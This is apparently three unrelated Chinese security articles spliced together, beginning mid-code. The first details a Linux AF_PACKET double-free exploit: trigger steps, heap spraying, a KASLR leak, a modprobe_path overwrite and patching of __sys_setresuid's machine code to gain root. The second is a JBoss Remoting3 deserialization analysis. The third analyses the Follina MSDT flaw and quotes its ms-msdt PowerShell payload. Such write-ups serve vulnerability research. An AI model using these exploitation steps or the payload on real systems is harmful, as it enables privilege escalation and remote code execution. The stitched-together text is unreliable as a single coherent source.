req3.tp_block_size = block_size;
req3.tp_block_nr = block_nr;
req3.tp_frame_size = frame_size;
req3.tp_frame_nr = frame_nr;
req3.tp_retire_blk_tov = retire_blk_tov;
req3.tp_sizeof_priv = 0;
req3.tp_feature_req_word = 0;
setsockopt(recv_fd, SOL_PACKET, PACKET_RX_RING, &req3, sizeof(req3));

1.2.漏洞触发

触发过程详解：

1. 首先调用socket函数创建AF_PACKET套接字。
2. 然后调用setsockopt设置协议版本为TPACKET_V3。
3. 接着调用setsockopt设置RX_RING，正常给tpacket_req3配置参数，在执行packet_set_ring()函数过程中，pg_vec指向alloc_pg_vec()函数分配的内存，并且调用init_prb_bdqc函数，导致pg_vec被sock->rx_ring->prb_bdqc->pkbdq引用，然后调用swap函数将pg_vec和sock->rx_ring->pg_vec交换，函数最后pg_vec指向NULL，没有调用free。
4. 再次调用setsockopt设置RX_RING，将tpacket_req3参数的tp_block_nr和tp_frame_nr字段设置为0，然后调用swap函数将pg_vec和sock->rx_ring->pg_vec交换，此时sock->rx_ring->pg_vec为NULL，pg_vec指向上一步骤分配的内存，函数结尾调用free_pg_vec()释放pg_vec，此时packet_ring_buffer->prb_bdqc->pkbdq成为悬空指针。
5. 到此才可以再次调用setsockopt设置协议版本为TPACKET_V2，sock->rx_ring->pg_vec为NULL，所以该套接字切换协议TPACKET_V2成功。
6. 最后调用setsockopt设置RX_RING，此时tpacket_req参数的tp_block_nr字段必须为0，再次进入packet_set_ring()函数，由于已经是TPACKET_V2协议，所以调用了swap函数交换了rx_owner_map和sock->rx_ring->rx_owner_map，由于packet_ring_buffer结构体的rx_owner_map成员和tpacket_kbdq_core成员属于联合体，所以sock->rx_ring->rx_owner_map和sock->rx_ring->prb_bdqc->pkbdq的值相同，在第4步骤packet_ring_buffer->prb_bdqc->pkbdq成为悬空指针，所以在函数结尾调用bitmap_free(rx_owner_map)，等同于free掉sock->rx_ring->prb_bdqc->pkbdq这个悬空指针，造成double free。

/net/packet/af_packet.c
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
  int closing, int tx_ring)
{
 struct pgv *pg_vec = NULL;
 struct packet_sock *po = pkt_sk(sk);
 unsigned long *rx_owner_map = NULL;
 int was_running, order = 0;
 struct packet_ring_buffer *rb;
 struct sk_buff_head *rb_queue;
 __be16 num;
 int err;
 /* Added to avoid minimal code churn */
 struct tpacket_req *req = &req_u->req;
 rb = tx_ring ? &po->tx_ring : &po->rx_ring;
 rb_queue = tx_ring ? &sk->sk_write_queue : &sk->sk_receive_queue;
 err = -EBUSY;
 if (!closing) {
  if (atomic_read(&po->mapped))
   goto out;
  if (packet_read_pending(rb))
   goto out;
 }
 if (req->tp_block_nr) {   // 上述第4、6步，tp_block_nr字段必须为0，只允许步骤3进入
  unsigned int min_frame_size;
  /* Sanity tests and some calculations */
  err = -EBUSY;
  if (unlikely(rb->pg_vec))
   goto out;
  switch (po->tp_version) {
  case TPACKET_V1:
   po->tp_hdrlen = TPACKET_HDRLEN;
   break;
  case TPACKET_V2:
   po->tp_hdrlen = TPACKET2_HDRLEN; 
   break;
  case TPACKET_V3:
   po->tp_hdrlen = TPACKET3_HDRLEN; //  TPACKET3_HDRLEN = 0x44
   break;
  }
  err = -EINVAL;
  if (unlikely((int)req->tp_block_size <= 0))
   goto out;
  if (unlikely(!PAGE_ALIGNED(req->tp_block_size))) // 注意tp_block_size必须与PAGE_SIZE对齐
   goto out;
  min_frame_size = po->tp_hdrlen + po->tp_reserve;
  if (po->tp_version >= TPACKET_V3 &&
      req->tp_block_size <
      BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv) + min_frame_size)
   goto out;
  if (unlikely(req->tp_frame_size < min_frame_size))
   goto out;
  if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
   goto out;
  rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
  if (unlikely(rb->frames_per_block == 0))
   goto out;
  if (unlikely(rb->frames_per_block > UINT_MAX / req->tp_block_nr))
   goto out;
  if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
     req->tp_frame_nr))
   goto out;
  err = -ENOMEM;
  order = get_order(req->tp_block_size);
  pg_vec = alloc_pg_vec(req, order); // 步骤3进入pg_vec分配内存
  if (unlikely(!pg_vec))
   goto out;
  switch (po->tp_version) {
  case TPACKET_V3:
   /* Block transmit is not supported yet */
   if (!tx_ring) {   //  只能是RX_RING
    init_prb_bdqc(po, rb, pg_vec, req_u); // 步骤3 rb->prb_bdqc->pkbdq引用了pg_vec
   } else {
    struct tpacket_req3 *req3 = &req_u->req3;
    if (req3->tp_retire_blk_tov ||
        req3->tp_sizeof_priv ||
        req3->tp_feature_req_word) {
     err = -EINVAL;
     goto out_free_pg_vec;
    }
   }
   break;
  default:
   if (!tx_ring) {
    rx_owner_map = bitmap_alloc(req->tp_frame_nr,
     GFP_KERNEL | __GFP_NOWARN | __GFP_ZERO);
    if (!rx_owner_map)
     goto out_free_pg_vec;
   }
   break;
  }
 }
 /* Done */
 else {
  err = -EINVAL;
  if (unlikely(req->tp_frame_nr))  // 上述第4、6步，tp_frame_nr字段必须为0，不能直接goto out 
   goto out;
 }
 /* Detach socket from network */
 spin_lock(&po->bind_lock);
 was_running = po->running; //release调用时，此值为0
 num = po->num;
 if (was_running) {
  WRITE_ONCE(po->num, 0);
  __unregister_prot_hook(sk, false);
 }
 spin_unlock(&po->bind_lock);
 synchronize_net();
 err = -EBUSY;
 mutex_lock(&po->pg_vec_lock);
 if (closing || atomic_read(&po->mapped) == 0) {  // closing字段一直为0，但是po->mapped字段一直等于0
  err = 0;
  spin_lock_bh(&rb_queue->lock);
  swap(rb->pg_vec, pg_vec); // 步骤3 pg_vec和rb->pg_vec交换，pg_vec为NULL，步骤4被换回来
  if (po->tp_version <= TPACKET_V2) //  只有在上述第6步，协议版本才等于TPACKET_V2，才会进入if
   swap(rb->rx_owner_map, rx_owner_map); // 步骤6 rx_owner_map指向同rb->prb_bdqc->pkbdq
  rb->frame_max = (req->tp_frame_nr - 1);
  rb->head = 0;
  rb->frame_size = req->tp_frame_size;
  spin_unlock_bh(&rb_queue->lock);
  swap(rb->pg_vec_order, order);
  swap(rb->pg_vec_len, req->tp_block_nr);
  rb->pg_vec_pages = req->tp_block_size/PAGE_SIZE;
  po->prot_hook.func = (po->rx_ring.pg_vec) ?
      tpacket_rcv : packet_rcv;
  skb_queue_purge(rb_queue);
  if (atomic_read(&po->mapped))
   pr_err("packet_mmap: vma is busy: %d\n",
          atomic_read(&po->mapped));
 }
 mutex_unlock(&po->pg_vec_lock);
 spin_lock(&po->bind_lock);
 if (was_running) {
  WRITE_ONCE(po->num, num);
  register_prot_hook(sk);
 }
 spin_unlock(&po->bind_lock);
 if (pg_vec && (po->tp_version > TPACKET_V2)) {
  /* Because we don't support block-based V3 on tx-ring */
  if (!tx_ring)
   prb_shutdown_retire_blk_timer(po, rb_queue);
 }
out_free_pg_vec:
 bitmap_free(rx_owner_map);  // 步骤6 free掉rx_owner_map等于free rb->prb_bdqc->pkbdq，造成double free
 if (pg_vec)   // 步骤3由于pg_vec等于NULL为进入free,步骤4pg_vec不为NULL
  free_pg_vec(pg_vec, order, req->tp_block_nr);  // 步骤4由于释放pg_vec，同时rb->prb_bdqc->pkbdq变为悬空指针
out:
 return err;
}

上述步骤3中，进入init_prb_bdqc()函数增加了sock->rx_ring->prb_bdqc->pkbdq引用了pg_vec。

/net/packet/af_packet.c
static void init_prb_bdqc(struct packet_sock *po,
   struct packet_ring_buffer *rb,
   struct pgv *pg_vec,
   union tpacket_req_u *req_u)
{
 struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
 struct tpacket_block_desc *pbd;
 memset(p1, 0x0, sizeof(*p1));
 p1->knxt_seq_num = 1;
 p1->pkbdq = pg_vec;   // 步骤3 sock->rx_ring->prb_bdqc->pkbdq引用了pg_vec，造成漏洞的关键行为
 pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;
 p1->pkblk_start = pg_vec[0].buffer;
 p1->kblk_size = req_u->req3.tp_block_size;
 p1->knum_blocks = req_u->req3.tp_block_nr;
 p1->hdrlen = po->tp_hdrlen;
 p1->version = po->tp_version;
 p1->last_kactive_blk_num = 0;
 po->stats.stats3.tp_freeze_q_cnt = 0;
 if (req_u->req3.tp_retire_blk_tov)
  p1->retire_blk_tov = req_u->req3.tp_retire_blk_tov;
 else
  p1->retire_blk_tov = prb_calc_retire_blk_tmo(po,
      req_u->req3.tp_block_size);
 p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov);
 p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
 rwlock_init(&p1->blk_fill_in_prog_lock);
 p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
 prb_init_ft_ops(p1, req_u);
 prb_setup_retire_blk_timer(po);
 prb_open_block(p1, pbd);
}

漏洞触发，引发panic：

2.漏洞利用

2.1.绕过KASLR

泄露内核地址思路：通过漏洞篡改msg_msg->m_ts成员，增大msg_msg消息大小，然后再读取该msg_msg，泄露邻近timerfd_ctx->tmr->function这个函数指针指向的timerfd_tmrproc内核函数地址来计算内核基地址，从而绕过KASLR。

泄露内核地址详细步骤：

1. 先耗尽kmalloc-256的per_cpu上的freelist里的空闲块，然后布局PAGE大小的dummy ringbuf；

   

2. 第一次堆喷，首先释放dummy ringbuf偶数下标的ringbuf，让这些free掉的PAGE都返还给伙伴系统的order-0。然后再用pg_vec去堆喷kmalloc-256的slab，并从伙伴系统的order-0取出PAGE分成16个kmalloc-256给pg_vec；

   

3. 第二次堆喷，释放dummy ringbuf奇数下标的ringbuf，让这些free掉的PAGE都返还给伙伴系统的order-0。然后用timerfd_ctx去喷kmalloc-256的slab，并从伙伴系统的order-0取刚刚归还的PAGE分成16个kmalloc-256给timerfd_ctx；

   

4. 第三次堆喷，通过pg_vec的漏洞释放掉所有的第一次堆喷中的pg_vec对象，这些kmalloc-256的pg_vec不会归还给伙伴系统，而是进入到了对应slab的空闲链表，接着用msg_msg从空闲链表再次申请出刚释放掉的kmalloc-256的slab；

   

5. 第四次堆喷，这时，触发部分pg_vec的double free漏洞，然后用msg_msgseg再次将刚释放的msg_msg从freelist里分配出来并篡改msg_msg->m_ts，这时读取所有第三步中申请的msg_msg，即可读取包含被篡改msg_msg->m_ts的msg_msg，从而造成OOB读，泄露出相邻PAGE的timerfd_ctx->tmr->function这个函数指针指向的timerfd_tmrproc内核函数地址，从而计算出当前内核基址的相对偏移。

   

2.2.利用方式一：篡改modprobe_path

提权思路：通过msg_msg + fuse的方式提权，篡改modprobe_path指向的字符串，modprobe_path默认指向"/sbin/modprobe"，修改modprobe_path指向"/tmp/w"，然后再执行一个非法的二进制文件，这样便会触发"/tmp/w"这个文件以root权限执行，从而拿到root权限。

提权原理：篡改modprobe_path提权的原理，想必大家也不陌生，这里还是简单介绍一下，当execve函数执行一个非法的二进制文件时，执行到search_binary_handler()函数时，会遍历formats链表，formats链表包含所有注册的二进制文件，挨个调用load_elf_binary()函数，判断当前执行文件格式是否是注册的二进制文件，如果不是注册的二进制文件，再调printable宏判断当前执行文件前4个字节是否是可打印的字符，如果当前执行文件既不是注册的二进制文件，前4个字节也不是可打印的字符，则调用request_module()函数。

static int search_binary_handler(struct linux_binprm *bprm)
{
 bool need_retry = IS_ENABLED(CONFIG_MODULES);
 struct linux_binfmt *fmt;
 int retval;
 retval = prepare_binprm(bprm);
 if (retval < 0)
  return retval;
 retval = security_bprm_check(bprm);
 if (retval)
  return retval;
 retval = -ENOENT;
 retry:
 read_lock(&binfmt_lock);
 list_for_each_entry(fmt, &formats, lh) { // 遍历注册了二进制格式的formats链表
  if (!try_module_get(fmt->module))
   continue;
  read_unlock(&binfmt_lock);
  retval = fmt->load_binary(bprm);  // 检查二进制文件
  read_lock(&binfmt_lock);
  put_binfmt(fmt);
  if (bprm->point_of_no_return || (retval != -ENOEXEC)) {
   read_unlock(&binfmt_lock);
   return retval;
  }
 }
 read_unlock(&binfmt_lock);
 if (need_retry) {
  if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
      printable(bprm->buf[2]) && printable(bprm->buf[3]))  // 检查是否是打印字符
   return retval;
  if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
   return retval;
  need_retry = false;
  goto retry;
 }
 return retval;
}

request_module()函数是__request_module()的宏定义。

#define request_module(mod...) __request_module(true, mod)

__request_module()函数是一个尝试加载内核模块的函数，主要调用call_modprobe()，定义于kernel/kmod.c。

static int call_modprobe(char *module_name, int wait)
{
 struct subprocess_info *info;
 static char *envp[] = {
  "HOME=/",
  "TERM=linux",
  "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
  NULL
 };
 char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
 if (!argv)
  goto out;
 module_name = kstrdup(module_name, GFP_KERNEL);
 if (!module_name)
  goto free_argv;
 argv[0] = modprobe_path;  // 是我们需要篡改的全局变量
 argv[1] = "-q";
 argv[2] = "--";
 argv[3] = module_name; /* check free_modprobe_argv() */
 argv[4] = NULL;
 info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
      NULL, free_modprobe_argv, NULL);
 if (!info)
  goto free_module_name;
 return call_usermodehelper_exec(info, wait | UMH_KILLABLE); 
free_module_name:
 kfree(module_name);
free_argv:
 kfree(argv);
out:
 return -ENOMEM;
}

call_usermodehelper_exec()函数将modprobe_path作为可执行程序路径，以root权限执行，modprobe_path是一个全局变量，指向"/sbin/modprobe"。

/kernel/kmod.c
/*
 modprobe_path is set via /proc/sys.
*/
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;
/init/Kconfig
config MODPROBE_PATH
 string "Path to modprobe binary"
 default "/sbin/modprobe"
 help
   When kernel code requests a module, it does so by calling
   the "modprobe" userspace utility. This option allows you to
   set the path where that binary is found. This can be changed
   at runtime via the sysctl file
   /proc/sys/kernel/modprobe. Setting this to the empty string
   removes the kernel's ability to request modules (but
   userspace can still load modules explicitly).

任意写：在绕过KASLR后，就能计算出modprobe_path的地址，再通过修改msg_msg的成员变量next指向modprobe_path-8，再配合fuse用户文件系统向msg_msg->next指向的msg_msgseg数据部分写入我们自定义程序的字符串路径，即完成任意写。

篡改前：modprobe_path指向"/sbin/modprobe"

篡改后：modprobe_path指向"/tmp/w"

提权流程：

1. 堆风水，先耗尽kmalloc-4096的空闲块，然后布局8 PAGE的内存，也是通过ringbuf申请大量的8 PAGE大小的内存块；

   

2. 第一次堆喷，释放掉偶数位下标的8 PAGE的ringbuf，然后用大量的pg_vec去堆喷kmalloc-4096大小的slab；

   

3. 第二次堆喷，触发first free释放掉2个kmalloc-4096的pg_vec，然后先创建一个线程A，用2个大于PAGE_SIZE小于2 PAGE_SIZE的msg_msgA去堆喷占位刚释放的两个kmalloc-4096空闲块，此时load_msg()在kmalloc完成后，会因为在copy_from_user的时候，触发fuse文件系统的读函数，通过读pipe数据而使线程A阻塞。

   

4. 第三次堆喷，然后再创建第二线程B，继续释放刚才被first free的2个kmalloc-4096的pg_vec内存，触发double free，再用1个大于PAGE_SIZE小于2 PAGE_SIZE的msg_msgB去堆喷这两块刚被回收的2个kmalloc-4096内存块，用msg_msgsegB去篡改第二次堆喷中msg_msgA->next指针为modprobe-8，并通过pipe发送信号给第三步中阻塞的线程A，fuse read接受到信号后完成对msg_msgsegA内容的篡改，并返回，这样线程A完成对modprobe_path指向字符串内容的篡改为我们自定义的"/tmp/w"。

   

5. 最后执行一个非法的二进制文件，便能触发我们自定义"/tmp/w"的执行，从而完成提权。

   

2.3.利用方式二：USMA(用户态映射攻击)

USMA简介：USMA（User-Space-Mmaping-Attack）又称作是用户态映射攻击，是360漏洞研究院的安全研究员提出的利用手法。

提权思路：利用packet漏洞模块的packet_mmap函数能将漏洞对象pg_vec映射到用户空间的这个特性，再利用double free的漏洞原理，将漏洞对象pg_vec篡改为内核代码 __sys_setresuid内核函数的地址，这样就能把**__sys_setresuid**内核函数的代码映射到用户空间，通过硬编码改变代码逻辑，即可让普通用户进程调用setresuid函数绕过权限检查，修改cred提升权限。

/kernel/sys.c
/*
 * This function implements a generic ability to update ruid, euid,
 * and suid.  This allows you to implement the 4.4 compatible seteuid().
 */
long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
{
 struct user_namespace *ns = current_user_ns();
 const struct cred *old;
 struct cred *new;
 int retval;
 kuid_t kruid, keuid, ksuid;
 kruid = make_kuid(ns, ruid);
 keuid = make_kuid(ns, euid);
 ksuid = make_kuid(ns, suid);
 if ((ruid != (uid_t) -1) && !uid_valid(kruid))
  return -EINVAL;
 if ((euid != (uid_t) -1) && !uid_valid(keuid))
  return -EINVAL;
 if ((suid != (uid_t) -1) && !uid_valid(ksuid))
  return -EINVAL;
 new = prepare_creds();
 if (!new)
  return -ENOMEM;
 old = current_cred();
 retval = -EPERM;
 //通过硬编码修改，让普通用户调用setresuid()函数不会进入if判断，从而修改cred提权
 if (!ns_capable_setid(old->user_ns, CAP_SETUID)) {
  if (ruid != (uid_t) -1        && !uid_eq(kruid, old->uid) &&
      !uid_eq(kruid, old->euid) && !uid_eq(kruid, old->suid))
   goto error;
  if (euid != (uid_t) -1        && !uid_eq(keuid, old->uid) &&
      !uid_eq(keuid, old->euid) && !uid_eq(keuid, old->suid))
   goto error;
  if (suid != (uid_t) -1        && !uid_eq(ksuid, old->uid) &&
      !uid_eq(ksuid, old->euid) && !uid_eq(ksuid, old->suid))
   goto error;
 }
 if (ruid != (uid_t) -1) {
  new->uid = kruid;
  if (!uid_eq(kruid, old->uid)) {
   retval = set_user(new);
   if (retval < 0)
    goto error;
  }
 }
 if (euid != (uid_t) -1)
  new->euid = keuid;
 if (suid != (uid_t) -1)
  new->suid = ksuid;
 new->fsuid = new->euid;
 retval = security_task_fix_setuid(new, old, LSM_SETID_RES);
 if (retval < 0)
  goto error;
 return commit_creds(new);
error:
 abort_creds(new);
 return retval;
}
SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
 return __sys_setresuid(ruid, euid, suid);
}

映射原理：packet_mmap函数通过对当前套接字对应的pg_vec数组里buffer映射到用户层，可以让用户态修改并同步内核态的内存。

static int packet_mmap(struct file *file, struct socket *sock,
  struct vm_area_struct *vma)
{
 struct sock *sk = sock->sk;
 struct packet_sock *po = pkt_sk(sk);
 unsigned long size, expected_size;
 struct packet_ring_buffer *rb;
 unsigned long start;
 int err = -EINVAL;
 int i;
 if (vma->vm_pgoff)
  return -EINVAL;
 mutex_lock(&po->pg_vec_lock);
 expected_size = 0;
 for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
  if (rb->pg_vec) {
 // 计算当前套接字对应ringbuf所有大小的和，间接等于ring buf的block_nr * block_size。
   expected_size += rb->pg_vec_len  // 等于block_nr
      * rb->pg_vec_pages  // 等于block_size/PAGE_SIZE
      * PAGE_SIZE;
  }
 }
 if (expected_size == 0)
  goto out;
 
 size = vma->vm_end - vma->vm_start;  // 用户层映射内存大小
 if (size != expected_size)
  goto out;
 start = vma->vm_start;    // 用户层映射内存起始地址
 for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) { //目前就一个ring buf
  if (rb->pg_vec == NULL)
   continue;
  for (i = 0; i < rb->pg_vec_len; i++) { // 循环block_nr次
   struct page *page;
   void *kaddr = rb->pg_vec[i].buffer; // kaddr地址基本都是页对齐的
   int pg_num;
   // 循环block_size/PAGE_SIZE次
   for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) {
    page = pgv_to_page(kaddr);
    // 映射的主要函数，通过该函数将pg_vec数组里buffer映射到用户层
    err = vm_insert_page(vma, start, page); 
    if (unlikely(err))
     goto out;
    start += PAGE_SIZE;
    kaddr += PAGE_SIZE;
   }
  }
 }
 atomic_inc(&po->mapped);
 vma->vm_ops = &packet_mmap_ops;
 err = 0;
out:
 mutex_unlock(&po->pg_vec_lock);
 return err;
}

在vm_insert_page()函数里调用了validate_page_before_insert()函数做页检查，validate_page_before_insert()函数对映射的pg_vec数组里的buffer所属page的类型进行了判断，过滤了匿名页、属于slab对象的页、属于buddy系统的页、属于交换内存的页、属于分页管理中页表的页、属于内存屏障的页，以上页类型都不能映射，恰好我们要映射的是内核代码段，是可以映射到用户态的。

/mm/memory.c
static int validate_page_before_insert(struct page *page)
{
 if (PageAnon(page) || PageSlab(page) || page_has_type(page))
  return -EINVAL;
 flush_dcache_page(page);
 return 0;
}

硬编码篡改：__sys_setresuid函数被映射到用户态后，读取一个PAGE_SIZE大小的内核内存，考虑到需要篡改call  ns_capable_setid调用之后的判断，对test  al,al  jnz short loc_FFFFFFFF810BE1C4的汇编作一番篡改，最简单的方法就是将jnz/jne改为jz/je，由机器码，0x75改为0x74，由于映射的内存范围很大，所以我将0x84 0xC0 0x75 0x59作为特征进行搜索定位。

这段机器码由0x84 0xC0 0x75 0x59变为0x84 0xC0 0x74 0x59，jne变为je。

篡改前：

篡改后：

提权：经过上述对内核函数__sys_setresuid的篡改，再通过调用setresuid(0,0,0);即可将普通用户进程提权至root用户权限。

3.总结

上述两种提权方式，经过实现与调试，篡改modprobe_path提权和USMA(用户态映射攻击)两者都是通过任意写完成的提权，不用一堆gadget，相比ROP的提权方式而言，适配效率更高，限制更小，让任意写提权相对显得更加"高大上"。篡改modprobe_path提权相比于USMA利用，前者相较而言更加通用。

前言

前段时间分析了JBoss 3873和4446端口下的反序列化，受影响的版本最晚已经是2011年发布的，而JBoss EAP 6.X及WildFly\JBoss AS 7.X等后续版本，它们反序列化相关的CVE就很少了。归根结底，是因为以上所说的后续版本弃用了原来的Remoting2协议，启用了Remoting3协议。本文以Remoting3的反序列化相关问题展开分析。

Remoting3简介

Remoting3是JBoss Remoting的下一代协议，它在具备上一代协议所具有的功能的同时，还引入了以下一些性功能。

• 可拓展的传输协议
• 可以在运行时检测其他的协议
• 可拓展的打包策略（Marshalling Strategies）
• 使用强大的JBoss打包库
• 相比明文的Java序列化更高效
• 安全功能
• 支持SSL协议，可以保护传输数据的完整性和机密性，同时也可用来认证服务端
• 支持SASL框架，可进行客户端认证和授权

通过抓包对比，正如官网介绍所说，Remoting3协议不同于Remoting2的几乎明文的Java序列化数据，并且在默认配置下需要先进行客户端的认证才可使用后续的EJB3服务。

前面所说的可拓展的传输协议，体现在JBoss上即为HTTP服务8080端口的。Remoting3协议支持两种EJB3服务监听模式：直接监听一个端口和复用HTTP服务的端口。前者是JBoss EAP 6.X和JBoss AS 7.X使用的模式，对应的scheme是remote://，而后者是JBoss EAP 7.X和WildFly使用的模式，对应的scheme是http-remoting://或http://（视版本而定）。

端口复用这块从流量这看是比较简单，客户端先发送一个带Upgrade: jboss-remoting头的HTTP请求，然后服务端返回101状态码切换协议，后续流量则与监听端口的模式无异。

环境部署

Remoting3协议服务于EJB3，而EJB3与RMI类似，支持对象传参，涉及到对象参数必然会与序列化和反序列化扯上关系。要研究Remoting3协议的反序列化机制，首先得部署一个EJB3的服务。本文后续的分析均以WildFly 8.2.1.Final为例，下载相应的版本，在启动前先使用bin/add-user.sh脚本添加一个用户。

将以下两个类编译为Jar包，并从9990端口登录到控制台，部署打包好的Jar包。

package com.illucit.ejbremote.server;
import javax.ejb.Remote;
@Remote
public interface ExampleService {
 public Object greet(Object object);
}

package com.illucit.ejbremote.server;
import javax.ejb.Stateless;
@Stateless
public class ExampleServiceImpl implements ExampleService {
    @Override
    public Object greet(Object object) {
        return object;
    }
}

新建一个Java项目，并将WildFly的bin/client目录下的jar包复制到项目的lib目录，同时将以上两个类也加入到项目中。然后在resource目录下添加jboss-ejb-client.properties，填入以下配置内容。

remote.connections=default
remote.connection.default.host=192.168.78.132
remote.connection.default.port = 8080
remote.connection.default.username=<username>
remote.connection.default.password=<password>

最后添加以下类作为客户端，调用远程EJB3服务。

import com.illucit.ejbremote.server.ExampleService;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Date;
import java.util.Hashtable;
public class Client {
    public static void main(String[] args) throws Exception {
        System.out.printf(String.valueOf(lookupExample().greet2(new Date())));
    }
    private static ExampleService lookupExample() throws NamingException {
        final Hashtable<String, String> jndiProperties = new Hashtable();
        jndiProperties.put(Context.URL_PKG_PREFIXES, "org.jboss.ejb.client.naming");
        final Context context = new InitialContext(jndiProperties);
        String url = "ejb:/ejb-remote-server/ExampleServiceImpl!" + ExampleService.class.getName();
        System.out.println(url);
        return (ExampleService) context.lookup(url);
    }
}


技术分析

首先用一个在服务端不存在的类作为参数，调用EJB3服务。在客户端抛出的异常信息的调用栈中，可以看到org.jboss.marshalling.AbstractObjectInput的readObject方法被调用。

在服务端该方法下断点，当前的类是AbstractObjectInput的子类org.jboss.marshalling.river.RiverUnmarshaller，反序列化调用自身的doReadObject方法处理。

跟进到doReadObject方法，代码中会有一个switch循环体，根据从输入流获取到的字节进入不同的分支。后续会被调用到的doReadNewObject和doReadClassDescriptor也会有一个switch循环体，想必就是官方所说的可拓展的打包策略。

通过控制输入流进入到switch循环判断的字节，从而可以控制返回类示例或者反序列化对象。笔者梳理了这些switch循环体的分支，整理了几个会返回反序列化对象的流程，他们无一例外的会直接readObject反序列化或loadClass反射类实例，此时他们的类加载器都是ModuleClassLoader。

这是一个很特殊的类加载器，反序列化利用链中常见的类，比如UnicastRef、CC链（程序中实际有用到这个依赖），甚至于原生反序列化链中的一些类都是无法加载的。

实测只有两个module路径下jar包里的部分类和jdk部分原生类可以被这个类加载器加载。在可以加载的类中能找到一些Sink类，比如ValueExpressionImpl、MethodExpressionImpl，在RichFaces的CVE-2018-12533中有用到这两个Sink类的反序列化链，但Source和Gadget类虽然有，但ModuleClassLoader类加载器并不能加载。

反序列化这条路行不通，回看调用栈中处理消息的方法processMessage。开头用反序列化获取appName、moduleName、distinctName和beanName，也就是客户端lookup查询的url。虽说这种用法存在风险，在不知道部署了什么EJB3服务的情况下，也可以进行反序列化，但目前看来有难度，所以暂时也没有什么问题。

接着看后面的代码，有一个反射Method的操作，从EJB3部署信息获取到的ComponentView，根据方法名和方法参数反射Method。回溯Method的来源，发现是与反序列化的locator有关。这个locator其实就是封装了客户端EJB3服务接口的EJBLocator，那可以客户端使用恶意的EJB3服务接口，从而反射服务端类的方法？笔者也做了下尝试，但若想要反射的服务端类不是一个接口类，则会抛出一个内接口类的异常，即使是没有抛出异常，从部署信息获取ComponentView这一步也没法获取服务端EJB3服务接口之外的内容。

后记

Remoting3协议的分析原本是以挖掘协议漏洞为目的，但最终也没有发现什么太大的问题，不得不感叹现在JBoss\WildFly的版本比之前使用remoting2协议的版本安全性上升了一个台阶。翻看近年WildFly的CVE，有一个反序列化相关的CVE-2020-10740，没有验证机制使得可能通过EJB发起远程反序列化攻击，说的大概就是本文讨论的内容。查看在WildFly20.0发布的修复，仅仅是增加了黑名单验证。

除此之外，客户端还有个不大不小的问题，它的反序列化流程和服务端差不多，但客户端这里的类加载器就是普通的类加载器，可以用到部分的反序列化链，这场景就有点像RMI的反序列化服务端传来的恶意结果或异常。也许能用在反制、中间人攻击等场景。。

文中若有什么错误的地方，敬请师傅们斧正。

参考

https://jbossremoting.jboss.org/remoting-3

https://paper.seebug.org/766/

https://github.com/illucIT/remote-ejb-example

前言

在分析漏洞的过程中，陆陆续续看到许多师傅的分析文章，于是参考之后结合自己的分析总结了一下。

漏洞简介

近日，微软官方网站发布了 Microsoft Office MSDT（Microsoft Support Diagnostic Tool）远程代码执行漏洞通告，漏洞编号 CVE-2022-30190，目前在开源代码平台已存在该漏洞的验证代码。该通告指出，Microsoft Office MSDT 存在远程代码执行漏洞，攻击者可利用 Office 文件中的远程模板功能，访问远程服务器上挂载的恶意 HTML 文件，之后通过 'ms-msdt' URI 来执行恶意 PowerShell 代码。

值得注意的是该漏洞在宏被禁用的情况下仍可被利用。并且当恶意文件另存为 RTF 格式时，还可以通过 Windows 资源管理器中的预览窗格触发此漏洞的调用，无需执行也可以在目标机器上执行任意代码。该漏洞影响范围非常广泛，目前官方未发布修复补丁。

漏洞利用链

样本执行流程

1. 攻击者利用 Office 文件中的远程模板功能加载远程的 poc.html

在 document.xml.rels 文件中可以看到 docx 文件嵌入了一个 ole 对象，指向了 poc.html

2.poc.html 通过 'ms-msdt' URL 使得 Office 执行 msdt.exe，并将构造好的命令行参数传入 msdt.exe

查看 poc.html 的内容，可以看到页面访问了 URL：

ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"

上述注释是为了填充 HTML 页面使其大小大于 4kb，只有大于 4kb 的 HTML 页面 word 才会解析该页面进而触发漏洞，具体原因在Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit这篇文章中已经分析的很清楚了。

使用 urlprotocolview 查看ms-msdt URL 对应的二进制文件正是 msdt.exe

winword.exe 解析该 URL 后会调用 msdt.exe，并将命令行参数传入

3.msdt.exe 接收命令行参数后触发漏洞执行 powershell 命令：IEX('calc.exe')，调用了 calc.exe

因为直接打开 msdt.exe 需要输入技术支持人员密钥才能进行下一步诊断，通过参数/id PCWDiagnostic运行 PCWDiagnostic 程序兼容性诊断包绕过了该步骤

然而只是绕过输入密钥还不够，还需要点击下一页，才可以接收参数执行进程，通过参数/skip force绕过了该步骤，此时 msdt 会创建并启动服务，通过 svchost.exe 创建进程 sdiagnhost.exe

接着再输入参数：

/param "IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"

